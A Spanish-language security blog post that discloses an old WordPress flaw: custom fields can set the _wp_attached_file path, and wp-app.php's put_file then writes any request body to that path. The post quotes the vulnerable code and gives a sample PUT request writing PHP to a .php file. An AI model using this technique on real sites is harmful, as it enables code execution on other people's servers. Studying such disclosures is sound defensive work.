Nota: Esta vulnerabilidad se corrigió parcialmente en WordPress 2.2.1.
WordPress, como todo blogger que use este CMS debe saber, permite subir sólo determinado tipo de archivos, tarea que en general lo hace bien cuando se usa la interfase Web o XMLRPC de manera estándar.
Los datos de estos archivos, internamente se almacenan en la tabla wp_posts
y wp_postmeta
: en el primero se guardan el título, descripción y el tipo del archivo, además se asigna el tipo de entrada a post_type=attachment
; en la segunda tabla se guarda la ruta del archivo en un campo especial denominado _wp_attached_file
, adicionalmente se guardan también otras propiedades del archivo en _wp_attachment_metadata
.
Por otro lado, tenemos la posibilidad de agregar campos personalizados para cada entrada o página, los cuales lógicamente son almacenados en la tabla wp_postmeta
. Estos campos personalizados, en las versiones vulnerables de WordPress, permiten almacenar cualquier combinación clave=valor
sin hacer ningún tipo de validación, es decir cualquiera puede agregar el siguiente campo personalizado a una entrada o página:
code:
clave : _wp_attached_file
valor : /home/vulnerable.com/wp/wp-content/uploads/demo.php
En el archivo wp-app.php
, existe la siguiente función que permite modificar el contenido de cualquier archivo que hayamos subido usando WordPress:
php:
function put_file
($postID) {
$type = $this->get_accepted_content_type();
// first check if user can upload
if(!current_user_can('upload_files'))
$this->auth_required(__('You do not have permission to upload files.'));
// check for not found
global $entry;
$this->set_current_entry($postID);
// then whether user can edit the specific post
if(!current_user_can('edit_post', $postID)) {
$this->auth_required(__('Sorry, you do not have the right to edit this post.'));
}
$location = get_post_meta($entry['ID'], '_wp_attached_file', true);
if(!isset($location))
$this->internal_error(__('Error ocurred while accessing post metadata for file location.'));
$fp = fopen("php://input", "rb");
$localfp = fopen($location, "w+");
while(!feof($fp)) {
fwrite($localfp,fread($fp, 4096));
}
fclose($fp);
fclose($localfp);
log_app('function',"put_file($postID)");
$this->ok();
}
Esa función, recibe como parámetro el ID
de una entrada, luego intenta obtener la ubicación especificada en _wp_attached_file
y a continuación actualiza ese archivo con los datos que hayamos enviado. Esta característica debería estar disponible sólo para aquellas entradas con post_type=attachment
, pero como no existe ninguna restricción de ese tipo, es posible usar el campo personalizado que agregamos anteriormente.
code:
PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/
1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length
<?php echo "Hello World"; ?>
Como mencioné en la entrada anterior, esta vulnerabilidad es muy grave en sitios con WordPress MU instalado, puesto que normalmente cualquier usuario que se registre puede subir archivos al servidor. Preparé un exploit que hace lo mínimo necesario para aprovechar esta vulnerabilidad -- es mi primer script en Perl, así que no esperen mucho. 😉